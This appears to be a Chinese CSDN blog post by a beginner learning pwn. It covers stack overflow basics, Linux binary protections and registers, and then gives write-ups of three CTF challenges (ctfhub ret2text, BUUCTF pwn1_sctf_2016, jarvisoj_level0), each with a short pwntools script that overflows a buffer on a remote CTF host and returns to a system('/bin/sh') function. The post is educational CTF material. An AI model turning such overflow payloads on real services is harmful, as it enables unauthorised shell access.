简单的栈溢出(记录pwn入门)

简单的栈溢出

栈溢出的前提:
1.程序必须向栈上写入数据
2.写入的数据大小没有被良好的控制

stack-example gcc -m32 -fno-stack-protector stack_example.c -o stack_example -no-pie
-m32 表示生成32位程序
-fno-stack-protector 表示不开启堆栈保护(不生成canary)
-no-pie 关闭PIE(避免加载基址被打乱)gcc -v查看默认的开关情况,若存在--enable-default-pie代表PIE默认开启

使用checksec检查编译出的文件
➜  stack-example checksec stack_example
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
注意:
提到编译时的PIE保护,linux还存在地址空间分布随机化(ASLR),只有可执行文件开启了PIE保护,还需系统开启ASLR才会打乱基址,否则程序运行时依旧会加载一个固定的基址(和NO PIE基址不同),可以通过:
/proc/sys/kernel/randomize_va_space来控制 ASLR 启动与否,具体的选项有
0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

IDA反编译工具

栈溢出的重要步骤

1、寻找危险函数
输入:gets(直接读取一行,忽略'\x00')、scanf、vscanf
输出:sprintf
字符串:strcpy(字符串复制,遇到'\x00'停止)、strcat(字符串拼接,遇到'\x00'停止)、bcopy
2、确定填充长度
计算我们所要操作的地址与我们所要覆盖的地址的距离,操作方法就是打开IDA,根据给定的地址计算偏移,一般变量会有以下几种索引模式:
相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
直接地址索引,就相当于直接给定了地址。
一般来说,我们会有如下的覆盖需求:
覆盖函数返回地址,这时候就是直接看 EBP 即可。
覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
覆盖 bss 段某个变量的内容。
根据现实执行情况,覆盖特定的变量或地址的内容。
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。

自主学习部分

1、Linux中的保护机制
①canary(栈保护)
原理:栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。
编译参数:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)
②NX(no execute不可执行)
原理:将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
编译参数:-z execstack / -z noexecstack (关闭 / 开启)
③PIE(position-independent executables,地址无关可执行文件)
原理:一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防御技术。同ASLR同样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序自己的gadget也失效。
编译参数:-no-pie / -pie (关闭 / 开启)
④RELRO(read only relocation)
原理及介绍:在Linux系统安全领域,数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处。GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术:。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读.设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
编译参数:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)

2、ESP寄存器存储的是在调用函数fun()之后,栈的栈顶,并且始终指向栈顶。
EBP寄存器存储的是栈的栈底指针,通常叫栈基址,这个是一开始进行fun()函数调用之前,由ESP传递给EBP的。(在函数调用前你可以这么理解:ESP存储的是栈顶地址,也是栈底地址。)
EIP寄存器存储的是CPU下次要执行的指令的地址。
ECX一般用来当作计数器,EDX是数据寄存器,EAX是累加器,EBX是基址寄存器,  ESI是源变址寄存器,EDI是目的变址寄存器,ESP是堆栈指针寄存器,EBP是基址指针寄存器,其中ESP和EBP一般是针对堆栈而言。
push指的是入栈,在程序中常用来暂存某些数据
pop指的是出栈,可对数据进行恢复
call指的是将返回地址(也就是call指令要执行时EIP的值)压入栈顶,然后是将程序跳转到当前调用的方法的起始地址。
jz是ZF汇编语言中的PSW标志寄存器中的一位,JZ则是根据ZF决定是否跳转。若ZF=1(表示本次运算结果为0,不为0则ZF=0),则跳转,否则不跳转。

3、溢出分为缓冲区溢出、内存溢出、数据溢出
危险函数:
输入:gets(直接读取一行,忽略'\x00')、scanf、vscanf
输出:sprintf
字符串:strcpy(字符串复制,遇到'\x00'停止)、strcat(字符串拼接,遇到'\x00'停止)、bcopy

4、GDB可以做四种主要的事情(加上支持这些的其他事情)来帮助你捕捉到行动中的错误:

  • 启动程序,指定可能影响其行为的任何内容。
  • 使程序在指定条件下停止。
  • 检查程序停止时发生了什么。
  • 更改程序中的内容,以便您可以尝试纠正一个错误的影响,并继续了解另一个错误。

jdb一般在IDE中自带、在linux环境下需要安装(Centos、Ubuntu自带)
若要调试程序,编译时还需要加上-g选项让编译生成的可执行文件中包含足够的调试信息,包含代码、栈、局部变量等,若还需查看更多信息如宏定义则需添加-g3选项,这样就可以通过print命令打印宏定义信息。

刷题分享

CTFHub---ret2text

思路及解题步骤:

  • 首先对文件进行分析,获得的结果如下所示:

  • 发现其为64位的文件

  • 发现没有开启任何的保护,将其直接代入IDA进行反汇编操作

  • 发现经典的gets危险函数,可以实现栈溢出

  • 通过观察到secure函数中存在着==system("/bin/sh")==函数,以此我们可以找到system函数的地址,同时将v4的值进行溢出,返回执行指定的system函数

  • 获得的system函数的地址为0x004007b8

  • 由此我们可以计算对v4需要填充的无用数据长度为0x70+8,然后我们开始写exp:
from pwn import *
#p = process('./pwn2')
p = remote("challenge-dda26e33984a0d6c.sandbox.ctfhub.com",35387)
payload = b'a' * (0x70+8) + p64(0x004007B8)
p.sendline(payload)
p.interactive()
  • 由于之前已经打通,忘记了截图,直接在本地的机子上执行,运行结果如下所示:

BUUCTF---pwn1_sctf_2016

灵感来源: pwn1_sctf_2016_nicesa的博客-CSDN博客
思路及解题步骤:

  • 首先对文件进行分析:

  • 发现文件是一个32位的程序,同时开启了NX保护,将文件代入IDA进行反汇编操作

  • 由图可知,我们知道了对s变量开辟的空间为60个字节,但是fgets函数对我们限制输入32个字节,开始以为是不会造成栈溢出,但后面出现了字符替换,即将字符'I'替换成'you',我们可以输入20个'I',就可以实现栈溢出.

  • 然后我们发现了get_flag函数,里面存在着system函数,就此我们可以找到system函数的地址:0x08048f0d

  • 接着我们就可以写exp
from pwn import * 
#p = process('./pwn5')
p = remote("node4.buuoj.cn",27974)
payload = b'I' * 20 + b'a' * (0x4)  + p32(0x08048f0d)
p.sendline(payload)
p.interactive()
  • 由于之前已经打通,直接在本机执行,执行结果如下:

BUUCTF---jarvisoj_level0

思路及解题步骤:

  • 首先对文件进行分析,发现其是一个64位的文件,然后开起了NX保护

  • 同理将其代入IDA进行分析,我们发现在main函数中返回的是vulnerable_function函数,而在vulnerable_function函数中返回的是read(0, &buf, 0x200uLL),由此我们可以对buf这个变量进行栈溢出,变量buf的空间为0x80h个字节,发现callsystem函数的地址为:0x00400596

  • 然后开始写exp:
from pwn import *
# p = process('./level0')
p = remote("node4.buuoj.cn",26668)
payload = b'a' * (0x88) + p64(0x00400596)
p.sendline(payload)
p.interactive()
  • 由于之前已经打通,忘记截图,在本地的机子上执行结果如下:

刷题总结

经过这几道题下来,容易确定下来栈溢出几个大方向的思路:

  • 没有PIE:ret2libc
  • NX关闭:ret2shellcode
  • 其他思路:ret2csu、ret2text
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值